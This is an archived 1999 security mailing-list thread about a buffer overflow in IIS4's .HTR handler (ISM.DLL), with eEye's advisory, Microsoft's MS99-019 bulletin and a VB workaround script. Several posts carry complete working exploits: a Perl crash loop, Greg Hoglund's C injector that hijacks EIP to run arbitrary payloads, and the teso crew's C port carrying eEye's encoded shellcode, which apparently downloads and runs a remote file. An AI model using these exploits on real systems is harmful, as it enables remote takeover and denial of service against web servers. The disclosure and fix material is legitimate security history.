Retina vs. IIS4, Round 2, KO eEye - Digital Security Team (eeye@EEYE.COM) Tue, 15 Jun 1999 12:18:16 -0000 Retina vs. IIS4, Round 2 Systems Affected: Internet Information Server 4.0 (IIS4) Microsoft Windows NT 4.0 SP3 Option Pack 4 Microsoft Windows NT 4.0 SP4 Option Pack 4 Microsoft Windows NT 4.0 SP5 Option Pack 4 Release Date: June 8, 1999 Advisory Code: AD06081999 Description: We have been debating how to start out this advisory. How do you explain that 90% or so of the Windows NT web servers on the Internet are open to a hole that lets an attacker execute arbitrary code on the remote web server? So the story starts... The Goal: Find a buffer overflow that will affect 90% of the Windows NT web servers on the Internet. Exploit this buffer overflow. The Theory: There will be overflows in at least one of the default IIS filtered extensions (i.e. .ASP, .IDC, .HTR). The way we think the exploit will take place is that IIS will pass the full URL to the DLL that handles the extension. Therefore if the ISAPI DLL does not do proper bounds checking it will overflow a buffer taking IIS (inetinfo.exe) with it and allow us to execute arbitrary code on the remote server. Entrance Retina: At the same time of working on this advisory we have been working on the AI mining logic for Retina's HTTP module. What better test scenario than this? We gave Retina a list of 10 or so extensions common to IIS and instructed it to find any possible holes relating to these extensions. The Grind: After about an hour Retina found what appeared to be a hole. It displayed that after sending "GET /[overflow].htr HTTP/1.0" it had crashed the server. We all crossed our fingers, started up the good ol' debugger and had Retina hit the server again. Note: [overflow] is 3k or so characters... but we will not get into the string lengths and such here. View the debug info and have a look for yourself. The Registers: EAX = 00F7FCC8 EBX = 00F41130 ECX = 41414141 EDX = 77F9485A ESI = 00F7FCC0 EDI = 00F7FCC0 EIP = 41414141 ESP = 00F4106C EBP = 00F4108C EFL = 00000246 Note: Retina was using "A" (0x41 in hex) for the character to overflow with. If you're not familiar with buffer overflows a quick note would be that getting our bytes into any of the registers is a good sign, and directly into EIP makes it even easier :) Explain This: The overflow is in relation to the .HTR extensions. IIS includes the capability to allow Windows NT users to change their password via the web directory /iisadmpwd/. This feature is implemented as a set of .HTR files and the ISAPI extension file ISM.DLL. So somewhere along the line when the URL is passed through to ISM.DLL, proper bounds checking is not done and our overflow takes place. The .HTR/ISM.DLL ISAPI filter is installed by default on IIS4 servers. Looks like we got our 90% of the Windows NT web servers part down. However, can we exploit this? The Exploit: Yes. We can definitely exploit this and we have. We will not go into much detail here about how the buffer is exploited and such. Read the comments in the asm file for more information. However, one nice thing to note is that the exploit has been crafted in such a way to work on SP4 and SP5 machines, therefore there is no guessing of offsets and possible accidental crashing of the remote server. We have not tested the exploit on SP3 and would love to know if it works or not. eMail alert@eEye.com if you've successfully exploited this hole on SP3. For more details about the exploit visit the eEye web site at www.eEye.com The Fallout: Almost 90% of the Windows NT web servers on the Internet are affected by this hole. Everyone from NASDAQ to the U.S. Army to Microsoft themselves. No, we did not try it on the above mentioned. But it is easy to verify if a web server is exploitable without using the exploit. Even a server that's locked in a guarded room behind a Cisco Pix can be broken into with this hole. This is a reminder to all software vendors that testing for common security holes in your software is a must. Demand more from your software vendors. The Request. (Well one anyway.) Dear Microsoft, One of the things that we found out is that IIS did not log any trace of our attempted hack. We recommend that you pass all server requests to the logging service before passing it to any ISAPI filters etc...The logging service should be, as named, an actual service running in a separate memory space so that when inetinfo goes down intrusion signatures are still logged. Retina vs. IIS4, Round 2. KO. Fixes: 1. Remove the extension .HTR from the ISAPI DLL list. Microsoft has just updated their checklist to include this interim fix. http://microsoft.com/security/products/iis/CheckList.asp 2. Apply the patch supplied by Microsoft when available. http://microsoft.com/security Vendor Status: We contacted Microsoft on June 8th 1999, eEye Digital Security Team provided all information needed to reproduce the exploit. and how to fix it. Microsoft security team did confirm the exploit and are releasing a patch for IIS. Related Links Advisory - On our web site http://www.eEye.com/database/advisories/ad06081999/ad06081999.html Advisory - Retina Brain File used to uncover the hole http://www.eEye.com/database/advisories/ad06081999/ad06081999-brain.html Retina - The Network Security Scanner http://www.eEye.com/retina/ Greetings go out to: The former Secure Networks Inc., L0pht, Phrack, ADM, Rhino9, Attrition, HNN and any other security company or organization that believes in full disclosure. Copyright (c) 1999 eEye Digital Security Team Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail alert@eEye.com for permission. Disclaimer: The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Please send suggestions, updates, and comments to: eEye Digital Security Team info@eEye.com www.eEye.com -------------------------------------------------------------------------------- Date: Tue, 15 Jun 1999 18:23:28 -0000 From: eEye - Digital Security Team Subject: Update to IIS Remote Hole. We have updated our advisory on our website, http://www.eeye.com/database/advisories/ad06081999/ad06081999.html and as promised added a link to the working remote exploit, http://www.eeye.com/database/advisories/ad06081999/ad06081999-exploit.html Signed, eEye Digital Security Team http://www.eEye.com -------------------------------------------------------------------------------- Re: Retina vs. IIS4, Round 2, KO Ryan R Permeh (rrpermeh@RCONNECT.COM) Tue, 15 Jun 1999 17:01:23 -0500 tested, this works for me... scripting was turned on... perl exploit code follows: #!/usr/bin/perl #props to the absu crew use Net::Telnet; for ($i=2500;$i<3500;$i++) { $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80); my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n"; print "$cmd\n";$obj->print("$cmd"); $obj->close; } -- ---------------------------------------------------------------- Ryan R Permeh E-MAIL: rrpermeh@rconnect.com IS Engineer WEB : http://www.rconnect.com Rural Connections HELP : help@rconnect.com FAQ : http://www.rconnect.com/help SALES : sales@rconnect.com ---------------------------------------------------------------- 120 First Street NE PHONE : (507) 281-5005 Rochester, MN 55906 FAX : (507) 281-9272 -------------------------------------------------------------------------------- Re: Retina vs. IIS4, Round 2, KO Randal L. Schwartz (merlyn@STONEHENGE.COM) Tue, 15 Jun 1999 16:59:08 -0700 >>>>> "Ryan" == Ryan R Permeh writes: Ryan> #!/usr/bin/perl Ryan> #props to the absu crew Ryan> use Net::Telnet; Ryan> for ($i=2500;$i<3500;$i++) Ryan> { Ryan> $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80); Ryan> my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n"; Ryan> print "$cmd\n";$obj->print("$cmd"); Ryan> $obj->close; Ryan> } It's silly to use Net::Telnet for HTTP: use LWP::Simple; for ($i = 2500; $i <= 3500; $i++) { warn "$i\n"; get "http://$ARGV[0]/".('a' x $i).".htr"; } -- Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095 Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying Email: Snail: (Call) PGP-Key: (finger merlyn@teleport.com) Web: My Home Page! Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me -------------------------------------------------------------------------------- http://www.microsoft.com/security/bulletins/ms99-019.asp Microsoft Security Bulletin (MS99-019) Patch Available for Malformed HTR Request Vulnerability Originally Posted: May 27, 1999 Summary ======= Microsoft has released a patch that eliminates a vulnerability in Microsoft (r) Internet Information Server 4.0. The vulnerability could allow denial of service attacks against an IIS server or, under certain conditions, could allow arbitrary code to be run on the server. Microsoft has issued this bulletin to advise customers of steps they can take to protect themselves against this vulnerability. A patch to eliminate this vulnerability is being developed, and an update to this bulletin will be released to advise customers when it is available. Issue ===== IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. A vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords. The vulnerability involves an unchecked buffer in ISM.DLL. This poses two threats to safe operation. The first is a denial of service threat. A malformed request for an .HTR file could overflow the buffer, causing IIS to crash. The server would not need to be rebooted, but IIS would need to be restarted. The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files. While there are no reports of customers being adversely affected by this vulnerability, Microsoft is proactively releasing this bulletin to allow customers to take appropriate action to protect themselves against it. Affected Software Versions ========================== - Microsoft Internet Information Server 4.0 What Microsoft is Doing ======================= Microsoft has provided a workaround that fixes the problem identified. The workaround is discussed below in What Customers Should Do. Microsoft also has sent this security bulletin to customers subscribing to the Microsoft Product Security Notification Service. See http://www.microsoft.com/security/services/bulletin.asp for more information about this free customer service. What Customers Should Do ======================== Microsoft highly recommends that customers disable the script mapping for .HTR files as follows: - From the desktop, start the Internet Service Manager by clicking Start | Programs | Windows NT 4.0 Option Pack | Microsoft Internet Information Server | Internet Service Manager - Double-click "Internet Information Server" - Right-click on the computer name and select Properties - In the Master Properties drop-down box, select "WWW Service", then click the "Edit" button . - Click the "Home Directory" tab, then click the "Configuration" button. - Highlight the line in the extension mappings that contains ".HTR", then click the "Remove" button. - Respond "yes" to "Remove selected script mapping?" say yes, click OK 3 times, close ISM A patch will be available shortly to eliminate the vulnerability altogether. Customers should monitor http://www.microsoft.com/security for an announcement when the patches are available. Microsoft recommends that customers review the IIS Security Checklist at http://www.microsoft.com/security/products/iis/CheckList.asp More Information ================ Please see the following references for more information related to this issue. - Microsoft Security Bulletin MS99-019, Workaround Available for "Malformed HTR Request" Vulnerability (The Web-posted version of this bulletin), http://www.microsoft.com/security/bulletins/ms99-019.asp. - IIS Security Checklist, http://www.microsoft.com/security/products/iis/CheckList.asp Obtaining Support on this Issue =============================== If you require technical assistance with this issue, please contact Microsoft Technical Support. For information on contacting Microsoft Technical Support, please see http://support.microsoft.com/support/contact/default.asp. Revisions ========= - June 15, 1999: Bulletin Created. For additional security-related information about Microsoft products, please visit http://www.microsoft.com/security ------------------------------------------------------------------- THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE FOREGOING LIMITATION MAY NOT APPLY. (c) 1999 Microsoft Corporation. All rights reserved. Terms of Use. -------------------------------------------------------------------------------- Date: Wed, 16 Jun 1999 12:12:33 -0400 From: Russ To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Re: Update to IIS Remote Hole. Nelson Bunker has provided us with an VB app which automates the process of updating your IIS 4.0 Metabase to remove the ISM.DLL mappings which permit the eEye IISHack to work. Its a temporary workaround while Microsoft continue to work on a proper fix (which is expected today or tomorrow btw). For those of you with large IIS installation, you might find this extremely useful. If you use it, make sure you drop Nelson a line and thank him for it! Check the NTBugtraq Home Page, http://ntbugtraq.ntadvice.com, in the "What's New" section for links. Cheers, Russ - NTBugtraq Editor For those of you that have too many IIS machines to yank this off by hand here is some vb code to set your IIS metabase remotely... VB 5.0 sp3 IIS Resource kit installed -- Metabase editor utility from resource kit needs to be installed. Have fun! You can set all of you metabase up with the tools mentioned above. :-) Nelson Bunker 'The subs I put in Modules handles the App Mappings tab of the 'application configuration screen Sub AppMappings(ByRef IIS) 'delete all existing script paths Call DeleteAllLowerProperties(IIS, "ScriptMaps") 'the only thing changed on scripts maps is htm & html mapped to 'asp.dll and removed the ism.dll mapping newscriptmaps = Array(".asa,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;", ".html,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;", ".asp,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;", ".cdx,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;", ".cer,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;", ".htm,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;", ".htw,C:\WINNT\System32\webhits.dll,3;", ".ida,C:\WINNT\System32\idq.dll,3;", ".idc,C:\WINNT\System32\inetsrv\httpodbc.dll,1;", ".idq,C:\WINNT\System32\idq.dll,3;", ".shtm,C:\WINNT\System32\inetsrv\ssinc.dll,1;", ".shtml,C:\WINNT\System32\inetsrv\ssinc.dll,1;", ".stm,C:\WINNT\System32\inetsrv\ssinc.dll,1") IIS.PutEx 2, "ScriptMaps", newscriptmaps IIS.SetInfo End Sub Sub DeleteAllLowerProperties(ByRef IIS, ByVal PropertyName) 'delete all existing script paths PathList = IIS.GetDataPaths(PropertyName, 1) If Err.Number <> 0 Then For Each Path In PathList Set objScriptPath = GetObject(Path) objScriptPath.PutEx 1, PropertyName, True Next End If End Sub ' Start form1 here Function GetServerArray() GetServerArray = Array("Websvr1", ...., "WebsvrX") End Function Private Sub Form_Load() ServerArray = GetServerArray() For Each Server In ServerArray Set globalW3svc = GetObject("IIS://" & Server & "/W3SVC") Call AppMappings(globalW3svc) Next End Sub -------------------------------------------------------------------------------- Date: Wed, 16 Jun 1999 08:58:05 -0700 From: Greg Hoglund To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: IIS Remote Exploit (injection code) I read yesturday on eEye.com that they had discovered a buffer overflow in IIS. I could not resist writing an exploit. I did not have time to design a really cool payload for this exploit, so I simply wrote the injection code. However, this is meaningful for several reasons. Attached is the injection code. The exploit will deliver any payload of your choosing. Your payload will be executed. This empowers you to create a "collection" of payloads that are not dependant upon the injection vector in any way. This decoupling is important for military needs, where a single injection vector needs to work, but the "warhead" may be different depending on the targets characterization. The exploit was fairly simple to build. In short, I read on eEye.com that they had overflowed IIS with something like a ~3000 character URL. Within minutes I had caused IIS to crash with EIP under my control. I used a special pattern in the buffer (see code) to make it easy for me to identify where EIP was being popped from. The pattern also made it easy to determine where I was jumping around. Use the tekneek Danielson. ;-) So, I controlled EIP, but I needed to get back to my stack segment, of course. This is old school, and I really lucked out. Pushed down two levels on the stack was an address for my buffer. I couldn't have asked for more. So, I found a location in NTDLL.DLL (0x77F88CF0) that I could return to. It had two pop's followed by a return. This made my injection vector return to the value that was stored two layers down on the stack. Bam, I was in my buffer. So, I landed in a weird place, had to add a near jump to get to somewhere more useful.. nothing special, and here we are with about 2K of payload space. If you don't supply any mobile code to be run, the injection vector will supply some for you. The default payload in simply a couple of no-ops followed by a debug breakpoint (interrupt 3)... It's easy to play with if you want to build your own payloads.. just keep a debugger attached to inetinfo.exe on the target machine. Lastly, I would simply like to point out that monoculture installations are very dangerous. It's a concept from agribusiness.. if you have all one crop, and a virus comes along that can kill that crop, your out of business. With almost ALL of the IIS servers on the net being vulnerable to this exploit, we also have a monoculture. And, it's not just IIS. The backbone of the Internet is built on common router technology (such as cisco IOS). If a serious exploit comes along for the IOS kernel, can you imagine the darkness that will fall? <--- snip // IIS Injector for NT // written by Greg Hoglund // http://www.rootkit.com // // If you would like to deliver a payload, it must be stored in a binary file. // This injector decouples the payload from the injection code allowing you to // create a numnber of different attack payloads. This code could be used, for // example, by a military that needs to attack IIS servers, and has characterized // the eligible hosts. The proper attack can be chosen depending on needs. Since // the payload is so large with this injection vector, many options are available. // First and foremost, virii can delivered with ease. The payload is also plenty // large enough to remotely download and install a back door program. // Considering the monoculture of NT IIS servers out on the 'Net, this represents a // very serious security problem. #include #include #include void main(int argc, char **argv) { SOCKET s = 0; WSADATA wsaData; if(argc < 2) { fprintf(stderr, "IIS Injector for NT\nwritten by Greg Hoglund, " \ "http://www.rootkit.com\nUsage: %s \n", argv[0]); exit(0); } WSAStartup(MAKEWORD(2,0), &wsaData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(INVALID_SOCKET != s) { SOCKADDR_IN anAddr; anAddr.sin_family = AF_INET; anAddr.sin_port = htons(80); anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]); if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr))) { static char theSploit[4096]; // fill pattern char kick = 'z'; //0x7a char place = 'A'; // my uber sweet pattern gener@t0r for(int i=0;i<4096;i+=4) { theSploit[i] = kick; theSploit[i+1] = place; theSploit[i+2] = place + 1; theSploit[i+3] = place + 2; if(++place == 'Y') // beyond 'XYZ' { place = 'A'; if(--kick < 'a') kick = 'a'; } } _snprintf(theSploit, 5, "get /"); _snprintf(theSploit + 3005, 22, "BBBB.htr HTTP/1.0\r\n\r\n\0"); // after crash, looks like inetinfo.exe is jumping to the address // stored @ location 'GHtG' (0x47744847) // cross reference back to the buffer pattern, looks like we need // to store our EIP into theSploit[598] // magic eip into NTDLL.DLL theSploit[598] = (char)0xF0; theSploit[599] = (char)0x8C; theSploit[600] = (char)0xF8; theSploit[601] = (char)0x77; // code I want to execute // will jump foward over the // embedded eip, taking us // directly to the payload theSploit[594] = (char)0x90; //nop theSploit[595] = (char)0xEB; //jmp theSploit[596] = (char)0x35; // theSploit[597] = (char)0x90; //nop // the payload. This code is executed remotely. // if no payload is supplied on stdin, then this default // payload is used. int 3 is the debug interrupt and // will cause your debugger to "breakpoint" gracefully. // upon examiniation you will find that you are sitting // directly in this code-payload. if(argc < 3) { theSploit[650] = (char) 0x90; //nop theSploit[651] = (char) 0x90; //nop theSploit[652] = (char) 0x90; //nop theSploit[653] = (char) 0x90; //nop theSploit[654] = (char) 0xCC; //int 3 theSploit[655] = (char) 0xCC; //int 3 theSploit[656] = (char) 0xCC; //int 3 theSploit[657] = (char) 0xCC; //int 3 theSploit[658] = (char) 0x90; //nop theSploit[659] = (char) 0x90; //nop theSploit[660] = (char) 0x90; //nop theSploit[661] = (char) 0x90; //nop } else { // send the user-supplied payload from // a file. Yes, that's a 2K buffer for // mobile code. Yes, that's big. FILE *in_file; in_file = fopen(argv[2], "rb"); if(in_file) { int offset = 650; while( (!feof(in_file)) && (offset < 3000)) { theSploit[offset++] = fgetc(in_file); } fclose(in_file); } } send(s, theSploit, strlen(theSploit), 0); } closesocket(s); } } -------------------------------------------------------------------------------- Date: Wed, 16 Jun 1999 10:59:38 -0000 From: Marc To: BUGTRAQ@netspace.org Subject: Update to IIS hole. Hi, We have been receiving some eMails from people saying that the iishack.exe on our website is not working for them and is just crashing the remote server. Here is what we know and do not know etc.. We have tested it on the English version of NT4.0, with IIS4.0, Service Pack 4 and 5. We have had some people eMail us that they have this configuration and it is not working... This very well could be possible that the offset we are using is not working for some dll's and such... people might have a different version and what not. For this case we *might* release a second exploit that uses a better offset that should work on all nt4.0 iis4.0 sp4 and sp5 machines but honestly it is not that big of a deal to us. The hole is there, and is exploitable and other people have been writing exploits for it also. We do know that our exploit probably does not work on sp3 because off the offset we use... we have gotten a few eMails about this and we never did test nor claim it worked on sp3 but we *might* in our second version of the exploit find a offset that works for sp3 also. I honestly think this post is in some ways pointless but maybe it will help to cut back some of the eMails we are getting about the above information. Thank you to everyone who has been helping out. Signed, Marc eEye Digital Security Team http://www.eEye.com P.S. Jump on over to technotronic.com for some good information and other exploits and such. -------------------------------------------------------------------------------- Date: Wed, 16 Jun 1999 19:04:20 +0200 (CEST) From: typo To: bugtraq@netspace.org Cc: packetstorm@genocide2600.com Subject: iis4 remote exploit ported the teso crew has ported the iis exploit to linux... basically this program does the same as the windows version (written in asm) of this exploit. Produced shellcode is identical.. everything should work.. we haven't tested. Everyone except rootshell.com is allowed to put a copy of this on his/her/their webpage. visit #austria on ircnet for newest elite 0day exploits. scut & typo /* iis 4.0 exploit * by eeye security * * ported to unix/C by the teso crew. * * shoutouts to #hax and everyone else knowing us... * you know who you are. * * gcc -o tesoiis tesoiis.c -Wall */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, unsigned short int sourceport, int sec); void net_write (int fd, const char *str, ...); unsigned long int net_resolve (char *host); char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */ #define URL_OFFSET 1055 char front[] = "GET /AAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87" "\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50" "\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32" "\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43" "\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b" "\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0" "\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51" "\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43" "\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43" "\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1" "\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75" "\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59" "\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57" "\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab" "\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90" "\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8" "\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66" "\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92" "\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc" "\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3" "\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a" "\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50" "\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b" "\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8" "\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4" "\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc" "\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff" "\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55" "\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90" "\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53" "\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98" "\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86" "\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66" "\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d" "\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21" "\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90" "\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95" "\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82" "\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21" /* stick it in here */ "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21" ".htr HTTP/1.0"; void usage (void) { printf ("usage: ./tesoiis host port url\n"); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { /* yadda,yadda.. you can try exploiting our exploit!! * update: hmm.. is this exploitable? gets EIP touched by exit()? * gotta check this later... */ char host[256], url[256]; int port,sd,t = 0; int m = 0; char *cc, *pfft; struct sockaddr_in cs; printf ("teso crew IIS exploit.. shellcode by eEye.\n"); printf ("------------------------------------------\n"); if (argc < 4) usage(); strcpy (host, argv[1]); strcpy (url, argv[3]); port = atoi (argv[2]); if ((port < 1) || (port > 65535)) usage(); cc = url; pfft = front + URL_OFFSET; while (*cc) { if (*cc == '/' && 0 == t) { memcpy (pfft, stuff, 6); pfft += 6; t = 1; } else { *pfft = *cc + 0x21; pfft++; } cc++; m += 1; } printf ("Host: %s Port: %d Url: %s\n", host, port, url); printf ("Connecting... "); fflush (stdout); sd = net_connect (&cs, host, port, NULL, 0, 30); if (sd < 1) { printf ("failed!\n"); exit (EXIT_FAILURE); } printf ("done.. sending shellcode.."); fflush (stdout); net_write (sd, "%s\n\n", front); printf ("done.. closing fd!\n"); close (sd); printf ("%s\n", front); exit (EXIT_SUCCESS); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, unsigned short int sourceport, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } void net_write (int fd, const char *str, ...) { char tmp[8192]; va_list vl; int i; va_start(vl, str); memset(tmp, 0, sizeof(tmp)); i = vsnprintf(tmp, sizeof(tmp), str, vl); va_end(vl); send(fd, tmp, i, 0); return; } -------------------------------------------------------------------------------- Date: Wed, 16 Jun 1999 19:09:42 GMT From: Ethan Benatan To: BUGTRAQ@netspace.org Subject: Re: IIS Remote Exploit (injection code) >>> "Greg" == Greg Hoglund writes: Greg> I read yesturday on eEye.com that they had discovered a buffer Greg> overflow in IIS..... Greg> Lastly, I would simply like to point out that monoculture Greg> installations are very dangerous. It's a concept from Greg> agribusiness.. if you have all one crop, and a virus comes Greg> along that can kill that crop, your out of business. Very true, and this is a terrifically important message to get out. Not to be pedantic but actually it is a concept from ecology: the "business", as Greg puts it, can be any system. Diversity makes for resilience, and vice versa. Okay aleph, it's not a bug but it is a way we should be thinking. Greg> With Greg> almost ALL of the IIS servers on the net being vulnerable to Greg> this exploit, we also have a monoculture. And, it's not just Greg> IIS. The backbone of the Internet is built on common router Greg> technology (such as cisco IOS). If a serious exploit comes Greg> along for the IOS kernel, can you imagine the darkness that Greg> will fall? Ethan ethan+@pitt.edu -------------------------------------------------------------------------------- Date: Wed, 16 Jun 1999 16:40:25 -0400 From: Dug Song To: BUGTRAQ@netspace.org Subject: Re: IIS Remote Exploit (injection code) On Wed, 16 Jun 1999, Ethan Benatan wrote: > Very true, and this is a terrifically important message to get out... > Diversity makes for resilience, and vice versa. see stephanie forrest's work on computer immunology: http://www.cs.unm.edu/~immsec/ and to a lesser extent, random "canary" values in StackGuard: http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/ and the introduction of randomness to defeat race attacks, predictable sequence number 